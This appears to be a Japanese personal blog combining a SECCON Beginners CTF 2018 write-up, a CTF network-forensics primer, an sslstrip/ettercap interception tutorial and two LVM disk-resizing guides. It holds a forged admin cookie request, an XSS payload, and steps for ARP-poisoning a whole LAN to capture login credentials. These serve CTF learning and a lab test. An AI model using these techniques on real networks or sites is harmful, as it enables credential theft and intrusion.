SECCON Beginners CTF 2018 write-up

SECCONの初心者向け大会が、5月26日13時〜翌日13時までの24時間開催されたので、参加してきた。 オンラインでの大会は非常にありがたかったが、家族サービスをしながらの参戦だったので時間的には3-4時間しか参戦できなかった。 とりあえず、勉強したネットワークのところだけはやってみたいという想いから何問か挑戦してみた。 f:id:kyonta1022:20180529014638p:plain

Web

[Warmup] Greeting

phpで書かれたプログラムのバグをついてFlagを入手する問題。

ようこそ!
http://greeting.chall.beginners.seccon.jp

URLにアクセスすると、以下のページが表示される。

<?php

if(isset($_POST['name'])) {
  setcookie("name", $_POST['name'], time()+3600);
  $username = htmlspecialchars($_POST['name'], ENT_QUOTES, "UTF-8");

  // 管理者でログインできる?
  if($username === "admin") {
    $username = "偽管理者";
  }
} elseif(isset($_COOKIE['name'])) {
  $username = htmlspecialchars($_COOKIE['name'], ENT_QUOTES, "UTF-8");
} else {
  $username = "ゲスト";
}

?>
<!DOCTYPE html>
<html lang="ja">
  <head>
    <meta charset="UTF-8">
    <title>SECCON Beginners greeting service</title>
  </head>
  <body>
    <h1>こんにちは!<?=$username?>さん!</h1>
    <hr>
    <?php if($username === 'admin'): ?>
      こんにちは管理者さん。
      Flagは、 &quot;<?=$_ENV['SECCON_BEGINNERS_FLAG']?>&quot;です。
    <?php else: ?>
      こんにちは<?=$username?>さん。
      Flagは、管理者である&quot;admin&quot;さんにのみしか表示されません。
    <?php endif; ?>
    <form method="POST">
      <input type="text" placeholder="名前" name="name">
      <button type="submit">名前を変更する</button>
    </form>
    <pre>
    <code>
<?=htmlspecialchars(file_get_contents("./index.php"), ENT_QUOTES, "UTF-8")?>
    </code>
    </pre>
  </body>
</html>

POSTパラメータが未設定で、Cookieに値が設定されている場合に、その値を使ってFlagの表示・非表示を行っているため、BurpSuiteを使ってリクエストをインターセプトし、内容を書き換える。

POST / HTTP/1.1
Host: greeting.chall.beginners.seccon.jp
Content-Length: 10
Cache-Control: max-age=0
Origin: http://greeting.chall.beginners.seccon.jp
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.181 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://greeting.chall.beginners.seccon.jp/
Accept-Encoding: gzip, deflate
Accept-Language: ja-JP,ja;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: _ga=GA1.2.326850657.1527329409; _gid=GA1.2.1298991850.1527329409; name=admin
Connection: close

そうするとResponseで帰ってくるhtmlにFlagが表示されている。

こんにちは管理人さん。Flagは、”ctf4b{w3lc0m3_TO_ctf4b_w3b_w0rd!!}”です。

Gimme your comment

XSS脆弱性を使って、Flagを入手する問題。

ビギナーズカンパニーは皆様からのご意見をお待ちしています。
お問合わせの回答には特別なブラウザを使用しており、このブラウザの User-Agent が分かった方には特別に得点を差し上げます :-)

http://gyc.chall.beginners.seccon.jp

worker_63589eb583b5281458486ae738efd63e04f502b7.js

問題を見るとJavaScriptファイルが添付されてるので、ダウンロードして内容を確認する。

const puppeteer = require("puppeteer");

let origin  = process.env.origin;
let flag = process.env.flag;
let post_id  = process.env.post_id;

(async () => {
    const opt = {
        executablePath: 'google-chrome-stable',
        headless: true,
        args: [
            "--no-sandbox",
            "--disable-background-networking",
            "--disable-default-apps",
            "--disable-extensions",
            "--disable-gpu",
            "--disable-sync",
            "--disable-translate",
            "--hide-scrollbars",
            "--metrics-recording-only",
            "--mute-audio",
            "--no-first-run",
            "--safebrowsing-disable-auto-update",
            `--user-agent=${flag}`
        ],
    };
    const browser = await puppeteer.launch(opt);
    const page = await browser.newPage();
    await page.goto(`${origin}/posts/${post_id}`, {waitUntil: 'domcontentloaded'});
    await page.type('input[name="comment_content"]', '投稿ありがとうございます。大変参考になりました。');
    await page.click('button[type=submit]');
    await page.waitFor(1000);
    await browser.close();
})();

<script>
$(document).ready(function () {
    var userAgent = window.navigator.userAgent.toLowerCase();
    $('[name="comment_content"]').val(userAgent)
});
</script>

JSの内容と問題文から推測すると、どうやら新規投稿がされた場合に上記JSが実行され、投稿に対してコメントをつけるらしい。puppeteerを調べるとヘッドレスでブラウザを操作するようなライブラリらしいということがわかったので、投稿ページが表示されたときに、--user-agentをcomment_contentに表示させればいいかなと思って以下のJavaScriptを本文にしかける。

<script>
$(document).ready(function () {
    var userAgent = window.navigator.userAgent.toLowerCase();
    $('[name="comment_content"]').val(userAgent)
});
</script>

すると、以下のような回答がよせられる。

ctf4b{h4v3_fun_w17h_4_51mpl3_cr055_5173_5cr1p71n6}投稿ありがとうございます。大変参考になりました。

Misc

[Warmup] plain mail

添付されているpcapファイルのパケットを調べてFlagを入手する問題。 タイトルからわかるとおり、smtpのパケットを調べる。調べてくと3通ほど見つかるので、一個ずつ見てみる。 最初に暗号化されたファイルが送信されていて、次にパスワードがあるよと言っていそう。

220 67289bb1f069 ESMTP Exim 4.84_2 Fri, 27 Apr 2018 11:00:38 +0000
ehlo [172.19.0.3]
250-67289bb1f069 Hello client.4b [172.19.0.3]
250-SIZE 52428800
250-8BITMIME
250-PIPELINING
250 HELP
mail FROM:<me@4b.local> size=103
250 OK
rcpt TO:<you@4b.local>
250 Accepted
data
354 Enter message, ending with "." on a line by itself
I will send secret information. First, I will send encrypted file. Second, I wll send you the password.
.
250 OK id=1fC17G-00005T-T0
421 67289bb1f069 lost input connection

早速2通目を見てみる。 encrypted.zipというファイルがbase64エンコードされているぽい。

220 67289bb1f069 ESMTP Exim 4.84_2 Fri, 27 Apr 2018 11:00:40 +0000
ehlo [172.19.0.3]
250-67289bb1f069 Hello client.4b [172.19.0.3]
250-SIZE 52428800
250-8BITMIME
250-PIPELINING
250 HELP
mail FROM:<me@4b.local> size=658
250 OK
rcpt TO:<you@4b.local>
250 Accepted
data
354 Enter message, ending with "." on a line by itself
Content-Type: multipart/mixed; boundary="===============0309142026791669022=="
MIME-Version: 1.0
Content-Disposition: attachment; filename="encrypted.zip"

--===============0309142026791669022==
Content-Type: application/octet-stream; Name="encrypted.zip"
MIME-Version: 1.0
Content-Transfer-Encoding: base64

UEsDBAoACQAAAOJVm0zEdBgeLQAAACEAAAAIABwAZmxhZy50eHRVVAkAA6f/4lqn/+JadXgLAAEE
AAAAAAQAAAAASsSD0p8jUFIaCtIY0yp4JcP9Nha32VYd2BSwNTG83tIdZyU4x2VJTGyLcFquUEsH
CMR0GB4tAAAAIQAAAFBLAQIeAwoACQAAAOJVm0zEdBgeLQAAACEAAAAIABgAAAAAAAEAAACkgQAA
AABmbGFnLnR4dFVUBQADp//iWnV4CwABBAAAAAAEAAAAAFBLBQYAAAAAAQABAE4AAAB/AAAAAAA=
--===============0309142026791669022==--
.
250 OK id=1fC17I-00005a-Fw
421 67289bb1f069 lost input connection

とりあえずデコードしてzipファイルとして保存してみる。以下のサイトにお世話になる。 www.convertstring.com

zipファイルを開いてみると、flag.txtというファイルが含まれており、パスワードを要求された。 f:id:kyonta1022:20180529004457j:plain

パスワードは最後のメールに含まれているっぽいので、それを見てみる。
パスワードは「you_are_pro」らしい。

220 67289bb1f069 ESMTP Exim 4.84_2 Fri, 27 Apr 2018 11:00:42 +0000
ehlo [172.19.0.3]
250-67289bb1f069 Hello client.4b [172.19.0.3]
250-SIZE 52428800
250-8BITMIME
250-PIPELINING
250 HELP
mail FROM:<me@4b.local> size=13
250 OK
rcpt TO:<you@4b.local>
250 Accepted
data
354 Enter message, ending with "." on a line by itself
_you_are_pro_
.
250 OK id=1fC17K-00005h-AC
421 67289bb1f069 lost input connection

zipに上記パスワードをいれてflag.txtを開いてみると、中にFlagが書かれている

ctf4b{email_with_encrypted_file}

[Warmup] Welcome

公式のIRCを見て、Flagを入手する問題。

フラグは公式IRCチャンネルのトピックにあります。

ルールの項番5を見ると、IRCのリンクが書かれているので飛んでみる。

アナウンスはSECCON Beginners公式Twitterアカウントもしくは、公式IRCチャンネル(freenode #seccon-beginners-ctf)からアナウンスを行います

ログイン画面が表示されるので、適当なニックネームで入ってみると、Flagが上のほうに表示されていた。

#seccon-beginners-ctf: Flag for welcome: ctf4b{welcome_to_seccon_beginners_ctf}

てけいさんえくすとりーむず

制限時間内に四則演算100問を解くとFlagを入手できる。

てけいさんのプロのために作りました。
えくすとりーむなので300秒でタイムアウトします。

$ nc tekeisan-ekusutoriim.chall.beginners.seccon.jp 8690

とりあえず、素直に表示されているncコマンドをたたいてみる。

Welcome to TEKEISAN for Beginners -extreme edition-
---------------------------------------------------------------
Please calculate. You need to answered 100 times.
e.g.
(Stage.1)
4 + 5 = 9
...
(Stage.99)
4 * 4 = 869
Wrong, see you.
---------------------------------------------------------------
(Stage.1)
828 - 887 =

これを愚直にやるのはめんどくさいし無理だろうなという事で、問題と回答した時のパケットを見てみる。

問題

0000   78 4f 43 7d ad c5 00 30 13 b6 7e c4 08 00 45 02  xOC}...0..~...E.
0010   00 4a 99 0e 40 00 32 06 5f 51 85 f2 ea 8c c0 a8  .J..@.2._Q......
0020   1f 25 21 f2 fa 95 d7 66 20 d0 a8 31 20 19 80 18  .%!....f ..1 ...
0030   00 e3 fd 53 00 00 01 01 08 0a 00 a5 c2 6c 41 29  ...S.........lA)
0040   a6 8f 28 53 74 61 67 65 2e 32 29 0a 37 39 31 20  ..(Stage.2).791 
0050   2d 20 39 37 39 20 3d 20                          - 979 = 

回答

0000   00 30 13 b6 7e c4 78 4f 43 7d ad c5 08 00 45 02  .0..~.xOC}....E.
0010   00 3b 00 00 40 00 40 06 ea 6e c0 a8 1f 25 85 f2  .;..@.@..n...%..
0020   ea 8c fa 95 21 f2 a8 31 20 12 d7 66 20 d0 80 18  ....!..1 ..f ...
0030   10 0c 1d d0 00 00 01 01 08 0a 41 29 a6 8f 00 a5  ..........A)....
0040   86 90 39 33 31 30 38 31 0a                       ..931081.

問題文を見ると、<LF>0AでStageや式が区切られており、回答としては、答え+<LF>を送りつければ良さそう。 という事で、Pythonでソケット通信して自動回答するプログラムを組んでみる。

import socket

client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client.connect(("tekeisan-ekusutoriim.chall.beginners.seccon.jp", 8690))

for i in range(100):
    stage = client.recv(4096)
    ans = eval(stage.split("\n")[-1].split("=")[0])
    client.send(str(ans)+"\n")
    print stage + str(ans)

flag = client.recv(4096)
print flag

すると、100問目の回答の後にFlagが表示された。

Congrats.
Flag is: "ctf4b{ekusutori-mu>tekeisann>bigina-zu>2018}"

感想

CTFの問題はネットワークフォレンジック系の勉強しかしてなかったので、一問も解けないんじゃないか?と心配していたが、 最初の方の問題は頑張れば解けそうな問題が多く、やっていて楽しかった。ただ、一番楽しそうな「Crypt」「Pwn」「Reversing」については、全然時間を取れなかったので、 サイトが閉鎖されるまでの残り一月の間にチャレンジしてみようと思う。 今度オンラインでCTFが開催された時は、ちゃんと時間をとってチームでわいわいやりながら参戦したら面白そうだなと思ったので、次の挑戦としたい。

CTF ネットワークフォレンジック入門

セキュリティに関する勉強として、ネットワークフォレンジックのCTF問題を少し齧ったので、備忘録として纒める。

CTFとは?

Capture The Flagの頭文字を取った物で、日本語では「旗取り合戦」とも訳されます。競技の内容を一言で説明しますと、「情報技術に関する問題に対して適切な形で対処し、それに応じて得られた得点で勝敗を決める」という内容になります。

CTFをやると何が嬉しいのか?

ネットワークフォレンジック激初級編に関しての学習しかしていないので、雰囲気的な個人の感想になりますが、こんな感じのメリットはありそう。

 

覚えるだけで終わっていた技術に関する知識を実践で使うため、生きた知識が身につきそう

例えば、TCP/IPの4階層モデルを例にとると、こういう層があるんだー。で終わってしまいそうなところですが、実際にパケットを調査するとなると「アプリケーション層のデータに対して、下位3層では通信に関するヘッダーをつけてるだけだから、今回の問題ではアプリケーション層以外のパケットは一旦無視して・・・」みたいな感じで、怪しそうなパケットにあたりをつけるために、知ってる知識をフル動員 + 結構考える必要があるため、生きた知識がつきそう。

 

知らない技術に触れるチャンス

というより、知ってないと問題が解けない。ネットワークフォレンジック系の過去問をちらっと覗いてみたら、USB通信をキャプチャした問題なども含まれていたため、裾を広げるきっかけになる。

 

単純に楽しい 

自分の得た知識をフル動員させて問題に向かってくのは、単純に楽しい。

知的好奇心を最大級に刺激される。

 

ハッキングに関する技術をゲーム感覚で学べる

CTFはハッキング技術を競う競技なので、競技を通して学べる。今は用意された問題を解いてるだけだけど、攻防戦とかもあるので、攻撃方法・防御方法に関しての技術を学べる。

 

どんな問題があるのか?(ネットワーク)

実際にやった問題としては、HTTPやFTP通信のパケットが含まれたpcapやpcapngファイルがあるのでWiresharkで読込み、怪しそうなパケットを順に調べながら手がかりを入手し、最終的にFlagを入手するような問題だった。やってはいないが、そのほかの問題としては、パケットから入手した情報を使ってサーバー内のFlagを取得するような問題もあるらしい。

 

初学者向けの優しい問題があったので掲載(ctf4b_講義_network.zip)。

Microsoft OneDrive - Access files anywhere. Create docs with free Office Online. 

回答や解説等は、以下のSlideShareに記載されている。

www.slideshare.net

やるためにはどんな知識が必要か?

今回の学習ではプロトコルについての知識や、Ciscoルータのコマンド等の知識があれば十分解ける問題だったので、ネットワーク全般の知識と言えそうだったが、CTFの過去問では、SSHのパケット群から、規則性を導き出して(理解できてない)?モールス信号に変換してFlagを入手するような問題もあったので、ネットワーク全般以上の知識が必要となりそう。あとは、パケットの解析などのツールの使い方。

今後勉強するにあたり参考になりそうなサイト

CTF過去問

http://shell-storm.org/repo/CTF/  

CTF問題の回答

https://github.com/ctfs  

まとめ

CTFをやった感想として、セキュリティ技術を学ぶための取っ掛かりとしては、大変良いと思う。 CTF自体はただのゲームのような感じもしたが、ここで得た知識や考え方、直感などの経験値は、かなり役に立つと思う。
 

sslstripによるSSL通信傍受

sslstripという面白いツールを見つけたので、使い方の備忘録です。

どのように実現しているのかが気になる方は下のサイトを参照してください。

http://www.computerworld.jp/topics/563/136389

 

とりあえず使用するツールは2つ。

sslstrip ⇒ サーバーからのデータに httpsが含まれて入ればhttpへ変えブラウザに返す。

ettercap-gtk ⇒ MITMを実現し、パケットに含まれているuser:password情報などを表示してくれる。

 

sslstripインストール

#yum install sslstrip

ettercap-gtkインストール

#yum install ettercap-gtk

iptables設定

#iptables-save > ip_setting.bak
#iptables -F
#iptables -P INPUT ACCEPT
#iptables -P OUTPUT ACCEPT
#iptables -t nat - A PREROUTING -p tcp --dport 80 -j REDIRECT --to-ports 10000

sslstrip実行

#sslstrip -a -k -f

ettercap-gtk実行

#ettercap-gtk

実行すると以下のGUI画面が表示される。※CUIでやりたい人はCUI版をインストールするか、オプションを指定。

 

 

 

Sniff ⇒ Unified Sniffing...を選択する。

 

実行するネットワークインターフェースを指定する。

今回自分の環境だとノートPCなので、wlan0。

ifconfigでネットワークデバイスを調べてもいい。

 

 

 

Hosts ⇒ Scan for hostsを選択する。

 

ネットワーク内の全ホストをスキャンしてリストを作成する。

スキャンが完了すると、下のテキストボックスに「4 hosts added to the hosts list...」のように、

何台スキャンできたかが表示される。

 

 

 

Mitm ⇒ Arp Poisoning..を選択する。

 

何もチェックせずに、「OK」を押下する。

ARP poisoning victimes:

GROUP1 : ANY (all the hosts in the list)

GROUP2 : ANY (all the hosts in the list)

というログが表示される。

※今回の環境では、個別にcachePoisoningしての通信傍受がうまく動作せず、すべてのホストを傍受の対象にしている。

 

 

 

Start ⇒ Start sniffingを選択する。

 

スニッフィング開始。

 

 

 

今回の検証ではFacebookでのログインを傍受してみる。

 

FacebookのログインページはSSL通信で暗号化されているが、ログ出力にUser:Passが表示されている。

※テスト用のユーザを使用

 

 

LVMの論理ボリュームサイズ縮小(PV取り外し)

前回の、「LVMを使っての既存ファイルシステム拡張」の続きです。

今度はボリュームグループに追加した物理ボリュームの取り外しを行います。

ちなみに、この取り外し作業では手順を間違えたりめんどくさがってやってしまうと失敗します。

(いきなりパーティション削除とかしたらOSが起動しなくなりました。)

 

今回取り外し対象の物理ボリュームは赤字になっている部分です。

  [root@localhost kiyoto]# vgdisplay -v
  Finding all volume groups
  Finding volume group "VolGroup"
  -- Volume group ---
  VG Name               VolGroup
  System ID             
  Format                lvm2
  Metadata Areas        2
  Metadata Sequence No  5
  VG Access             read/write
  VG Status             resizable
  MAX LV                0
  Cur LV                2
  Open LV               2
  Max PV                0
  Cur PV                2
  Act PV                2
  VG Size               53.22 GiB
  PE Size               32.00 MiB
  Total PE              1703
  Alloc PE / Size       1384 / 43.25 GiB
  Free  PE / Size       319 / 9.97 GiB
  VG UUID               ioSlrx-15VC-Zf9Q-YjOW-MpXM-vPWn-YUZ04g
  
    --- Physical volumes ---
  PV Name               /dev/sda3     
  PV UUID               iQuL9H-H1ic-3lPS-L5ja-v3y0-a2rB-0k5cf1
  PV Status             allocatable
  Total PE / Free PE    744 / 0
   
  PV Name               /dev/sda4     
  PV UUID               wW8jGT-hb2T-85UN-mmA5-bIPd-Pti8-Lc0ruw
  PV Status             allocatable
  Total PE / Free PE    959 / 319

これは物理ボリュームとして30Gあり、そのうちの20Gをボリュームグループに割り当てています。

今回は/dev/sda4を取り外し、削除します。

 

1.対象のボリュームグループをアンマウントする

※LiveCDで起動し、取り外し作業を行う。

[root@localhost kiyoto]# df
ファイルシス                 1K-ブロック    使用   使用可 使用% マウント位置
rootfs                          31621252 8448332 22980960   27% /
devtmpfs                         1538816       0  1538816    0% /dev
tmpfs                            1547568     228  1547340    1% /dev/shm
tmpfs                            1547568   43240  1504328    3% /run
/dev/mapper/VolGroup-lv_root    31621252 8448332 22980960   27% /
tmpfs                            1547568   43240  1504328    3% /run
tmpfs                            1547568       0  1547568    0% /sys/fs/cgroup
tmpfs                            1547568       0  1547568    0% /media
/dev/sda2                         508644   96028   387016   20% /boot

 

2.ファイルシステムをチェックする

※このチェックを行わないと、次のステップに進むことができない。

[root@localhost liveuser]# e2fsck -f /dev/mapper/VolGroup-lv_root
e2fsck 1.41.14 (22-Dec-2010)
Resize inode not valid.  Recreate? yes

Pass 1: Checking inodes, blocks, and sizes
Pass 2: Checking directory structure
Pass 3: Checking directory connectivity
Pass 4: Checking reference counts
Pass 5: Checking group summary information
Free blocks count wrong for group #0 (14909, counted=14910).

 

3.ファイルシステムのサイズ変更

[root@localhost liveuser]# resize2fs /dev/mapper/VolGroup-lv_root 15G
resize2fs 1.41.14 (22-Dec-2010)
Resizing the filesystem on /dev/mapper/VolGroup-lv_root to 3932160 (4k) blocks.
The filesystem on /dev/mapper/VolGroup-lv_root is now 3932160 blocks long.

 

4.論理ボリュームのサイズ変更

[root@localhost liveuser]# lvreduce -L -20G /dev/mapper/VolGroup-lv_root
  WARNING: Reducing active logical volume to 18.31 GiB
  THIS MAY DESTROY YOUR DATA (filesystem etc.)
Do you really want to reduce lv_root? [y/n]: y
  Reducing logical volume lv_root to 18.31 GiB
  Logical volume lv_root successfully resized

ボリュームグループ内の物理ボリュームのサイズを確認してみると、 縮小した分/dev/sda4の空き容量が増えている

[root@localhost liveuser]# vgdisplay -v
    Finding all volume groups
    Finding volume group "VolGroup"
  --- Volume group ---
  VG Name               VolGroup
  System ID
  Format                lvm2
  Metadata Areas        2
  Metadata Sequence No  6
  VG Access             read/write
  VG Status             resizable
  MAX LV                0
  Cur LV                2
  Open LV               1
  Max PV                0
  Cur PV                2
  Act PV                2
  VG Size               53.22 GiB
  PE Size               32.00 MiB
  Total PE              1703
  Alloc PE / Size       744 / 23.25 GiB
  Free  PE / Size       959 / 29.97 GiB
  VG UUID               ioSlrx-15VC-Zf9Q-YjOW-MpXM-vPWn-YUZ04g

  --- Physical volumes ---
  PV Name               /dev/sda3
  PV UUID               iQuL9H-H1ic-3lPS-L5ja-v3y0-a2rB-0k5cf1
  PV Status             allocatable
  Total PE / Free PE    744 / 0

  PV Name               /dev/sda4
  PV UUID               wW8jGT-hb2T-85UN-mmA5-bIPd-Pti8-Lc0ruw
  PV Status             allocatable
  Total PE / Free PE    959 / 959
    

 

5.ボリュームグループから物理ボリュームを取り外す

[root@localhost liveuser]# vgreduce VolGroup /dev/sda4
  Removed "/dev/sda4" from volume group "VolGroup"

vgdisplayで確認してみると、物理ボリュームが取り外されたことが確認できる。

[root@localhost liveuser]# vgdisplay -v
    Finding all volume groups
    Finding volume group "VolGroup"
  --- Volume group ---
  VG Name               VolGroup
  System ID
  Format                lvm2
  Metadata Areas        1
  Metadata Sequence No  7
  VG Access             read/write
  VG Status             resizable
  MAX LV                0
  Cur LV                2
  Open LV               1
  Max PV                0
  Cur PV                1
  Act PV                1
  VG Size               23.25 GiB
  PE Size               32.00 MiB
  Total PE              744
  Alloc PE / Size       744 / 23.25 GiB
  Free  PE / Size       0 / 0
  VG UUID               ioSlrx-15VC-Zf9Q-YjOW-MpXM-vPWn-YUZ04g

  --- Physical volumes ---
  PV Name               /dev/sda3
  PV UUID               iQuL9H-H1ic-3lPS-L5ja-v3y0-a2rB-0k5cf1
  PV Status             allocatable
  Total PE / Free PE    744 / 0

6.物理ボリューム削除

pvremove /dev/sda4

 

7.パーティションの削除

fdiskから/dev/sda4のパーティションを削除し、保存する。

Disk /dev/sda: 120.0 GB, 120034123776 bytes
ヘッド 255, セクタ 63, シリンダ 14593, 合計 234441648 セクタ
Units = セクタ数 of 1 * 512 = 512 バイト
セクタサイズ (論理 / 物理): 512 バイト / 512 バイト
I/O サイズ (最小 / 推奨): 512 バイト / 512 バイト
ディスク識別子: 0x12733297

デバイス ブート      始点        終点     ブロック   Id  システム
/dev/sda1   *          63    75216329    37608133+   7  HPFS/NTFS/exFAT
/dev/sda2        75216896    76240895      512000   83  Linux
/dev/sda3        76240896   125044735    24401920   8e  Linux LVM
/dev/sda4       125044736   187959295    31457280   8e  Linux LVM

コマンド (m でヘルプ): d
パーティション番号 (1-4): 4

コマンド (m でヘルプ): p

Disk /dev/sda: 120.0 GB, 120034123776 bytes
ヘッド 255, セクタ 63, シリンダ 14593, 合計 234441648 セクタ
Units = セクタ数 of 1 * 512 = 512 バイト
セクタサイズ (論理 / 物理): 512 バイト / 512 バイト
I/O サイズ (最小 / 推奨): 512 バイト / 512 バイト
ディスク識別子: 0x12733297

デバイス ブート      始点        終点     ブロック   Id  システム
/dev/sda1   *          63    75216329    37608133+   7  HPFS/NTFS/exFAT
/dev/sda2        75216896    76240895      512000   83  Linux
/dev/sda3        76240896   125044735    24401920   8e  Linux LVM

 

LVMを使っての既存ファイルシステム拡張

最近Let'sNoteのSSDを60GからIntelの120GSSDに乗り換えました。

乗り換えついでに、広くなった分を新しくLinuxに分け与えようと思いLVMの操作に挑戦しました。

 

LVMとは(Logical Volume Manager)といい、ディスクマネージメント機能の総称らしいです。

自分的には、ディスクを管理する素晴らしい機能的な感じです。

 

何が素晴らしいかと言えば、パーティションなどをまたいでもあたかも1つのパーティションのように扱える。

 

イメージ的にはこんな感じですかね。

 

 

イメージいらないぐらいですね。

とりあえず、拡張が簡単にできて物理ディスクのことをあまり考慮しなくてもいいのが便利です。

取り外しもできます。取り外し編はこちら「LVMの論理ボリュームサイズ縮小(PV取り外し)

 

LVMには、ボリュームを管理する単位があります。

・PV(物理ボリューム)

・VG(ボリュームグループ)

・LV(論理ボリューム)

 

PV(Physical Volume)

PVとは、LVM用に用意したパーティションです。

未割当な領域に、LVM用にパーティションを作成するだけです。

 

VG(Volume Group)

VGとは上で作成したPVをまとめた単位です。

PVを2つ作成して、VolGroup00というVGに割り当てる感じです。

増やしたかったらVolGroup00に新たに1つPVを増やすといったように使えます。

(実際は物理エクステント(PE)という単位で割り当てます。PV作成時に指定されたサイズに分割し、その1つ1つがPE)

 

LV(Logical Volume)

LVはVGで作成した領域の上に作成します。このLVを各ディレクトリにマウントしてあげます。

なので、使う側としては、LVのみ意識すればいい感じになっています。

 

 

イメージ的にはこんなでしょうか?

容量を増やしたいときには、家の中(VG)にPVを追加してあげればVGを大きくすることができそうです。

 

では、こっから実際の手順です。

環境は、Fedora16 32bitです。

 

1.まずは、旧SSDから新SSDにデータを移す

HDDを移行するときは、dump,restoreコマンドを使用すればいいらしいのだが、あいにくファイルシステム

ext4なので使用することができない。

で、どうしようかと思っていたらddコマンドなるものがあるらしい。

注意書きで同容量のHDDの場合のみddコマンドで。的な事が書いてあるサイトが結構あった気がするが、

気にせず容量の違うHDDにddコマンドでコピーしてみたいと思います。

(失敗しても中身もともと空なので問題なし。)

dd if=/dev/sda of=/dev/sdb

60Gなのでそんなに時間をかけずにコピーは完了する。(コピー中は何も表示されません)

起動してみるとなんの問題もなく動いたのでOKでした。

 

2.現在のパーティションの状態を確認する

[root@localhost kiyoto]# fdisk /dev/sda

コマンド (m でヘルプ): p

Disk /dev/sda: 120.0 GB, 120034123776 bytes
ヘッド 255, セクタ 63, シリンダ 14593, 合計 234441648 セクタ
Units = セクタ数 of 1 * 512 = 512 バイト
セクタサイズ (論理 / 物理): 512 バイト / 512 バイト
I/O サイズ (最小 / 推奨): 512 バイト / 512 バイト
ディスク識別子: 0x12733297

デバイス ブート      始点        終点     ブロック   Id  システム
/dev/sda1   *          63    75216329    37608133+   7  HPFS/NTFS/exFAT
/dev/sda2        75216896    76240895      512000   83  Linux
/dev/sda3        76240896   125044735    24401920   8e  Linux LVM

3.パーティションを追加する

nで新しいパーティションを追加する。

コマンド (m でヘルプ): n
Partition type:
   p   primary (3 primary, 0 extended, 1 free)
   e   extended
Select (default e): p
選択したパーティション 4
最初 セクタ (75216330-234441647, 初期値 75216330): 125044736
Last セクタ, +セクタ数 or +size{K,M,G} (125044736-234441647, 初期値 234441647): +30G

 

4.ファイルタイプを変える

新しく追加したパーティションのIDは「83になっているので、それをLVMの8eに変更する。

バイス ブート      始点        終点     ブロック  Id  システム
/dev/sda1   *          63    75216329    37608133+   7  HPFS/NTFS/exFAT
/dev/sda2        75216896    76240895      512000   83  Linux
/dev/sda3        76240896   125044735    24401920   8e  Linux LVM
/dev/sda4       125044736   187959295    31457280   83  Linux

コマンド (m でヘルプ): t
パーティション番号 (1-4): 4
16進数コード (L コマンドでコードリスト表示): 8e
パーティションのシステムタイプを 4 から 8e (Linux LVM) に変更しました

バイス ブート       始点        終点     ブロック   Id  システム
  /dev/sda1   *          63    75216329    37608133+   7  HPFS/NTFS/exFAT
  /dev/sda2        75216896    76240895      512000   83  Linux
  /dev/sda3        76240896   125044735    24401920   8e  Linux LVM
  /dev/sda4       125044736   187959295    31457280   8e  Linux LVM

 

5.変更状態を保存する

コマンド (m でヘルプ): w
パーティションテーブルは変更されました!

ioctl() を呼び出してパーティションテーブルを再読込みします。

警告: パーティションテーブルの再読込みがエラー 16 で失敗しました: デバイスもしくはリソースがビジー状態です。
カーネルはまだ古いテーブルを使っています。新しいテーブルは
次回リブート時か、partprobe(8)またはkpartx(8)を実行した後に
使えるようになるでしょう
ディスクを同期しています。

6.物理ボリュームを作成

再起動後、作成したパーティションにPV(物理ボリュームを作成する)

[root@localhost kiyoto]# pvcreate /dev/sda4
  Writing physical volume data to disk "/dev/sda4"
  Physical volume "/dev/sda4" successfully created

 

7.ボリュームグループ名を確認する

[root@localhost kiyoto]# vgdisplay -v
    Finding all volume groups
    Finding volume group "VolGroup"
  --- Volume group ---
  VG Name               VolGroup
  System ID             
  Format                lvm2
  Metadata Areas        1
  Metadata Sequence No  3
  VG Access             read/write
  VG Status             resizable
  MAX LV                0
  Cur LV                2
  Open LV               2
  Max PV                0
  Cur PV                1
  Act PV                1
  VG Size               23.25 GiB
  PE Size               32.00 MiB
  Total PE              744
  Alloc PE / Size       744 / 23.25 GiB
  Free  PE / Size       0 / 0   
  VG UUID               ioSlrx-15VC-Zf9Q-YjOW-MpXM-vPWn-YUZ04g

 

8.ボリュームグループに物理ボリュームを割り当てる

[root@localhost kiyoto]# vgextend VolGroup /dev/sda4
  Volume group "VolGroup" successfully extended

 

9.論理ボリューム名を確認する

vgdisplay -v で確認すると、さきほど追加した物理ボリュームもボリュームグループに追加されている。

[root@localhost kiyoto]# vgdisplay -v
    Finding all volume groups
    Finding volume group "VolGroup"

  --- Logical volume ---
  LV Name                /dev/VolGroup/lv_root
  VG Name                VolGroup
  LV UUID                SgQAaB-Srat-cvhH-Ownk-qu87-pyNl-z9OlL0
  LV Write Access        read/write
  LV Status              available
  # open                 1
  LV Size                18.31 GiB
  Current LE             586
  Segments               1
  Allocation             inherit
  Read ahead sectors     auto
  - currently set to     256
  Block device           253:1
   
  --- Physical volumes ---
  PV Name               /dev/sda3     
  PV UUID               iQuL9H-H1ic-3lPS-L5ja-v3y0-a2rB-0k5cf1
  PV Status             allocatable
  Total PE / Free PE    744 / 0
   
  PV Name               /dev/sda4     
  PV UUID               wW8jGT-hb2T-85UN-mmA5-bIPd-Pti8-Lc0ruw
  PV Status             allocatable
  Total PE / Free PE    959 / 959

 

10.論理ボリュームの容量を増やす

[root@localhost kiyoto]# lvextend -L +20G /dev/VolGroup/lv_root
  Extending logical volume lv_root to 38.31 GiB
  Logical volume lv_root successfully resized

 

11.ファイルサイズの変更

[root@localhost kiyoto]# resize2fs /dev/VolGroup/lv_root
resize2fs 1.41.14 (22-Dec-2010)
Filesystem at /dev/VolGroup/lv_root is mounted on /; on-line resizing required
old desc_blocks = 2, new_desc_blocks = 3
Performing an on-line resize of /dev/VolGroup/lv_root to 10043392 (4k) blocks.
resize2fs: 無効な引数です While trying to add group #243

 

12.容量の確認

[root@localhost kiyoto]# lvdisplay -v
    Finding all logical volumes
  --- Logical volume ---
  LV Name                /dev/VolGroup/lv_swap
  VG Name                VolGroup
  LV UUID                Gb1NOQ-e3t2-Xryy-N8QS-lkjZ-ikk4-LMyRMc
  LV Write Access        read/write
  LV Status              available
  # open                 2
  LV Size                4.94 GiB
  Current LE             158
  Segments               1
  Allocation             inherit
  Read ahead sectors     auto
  - currently set to     256
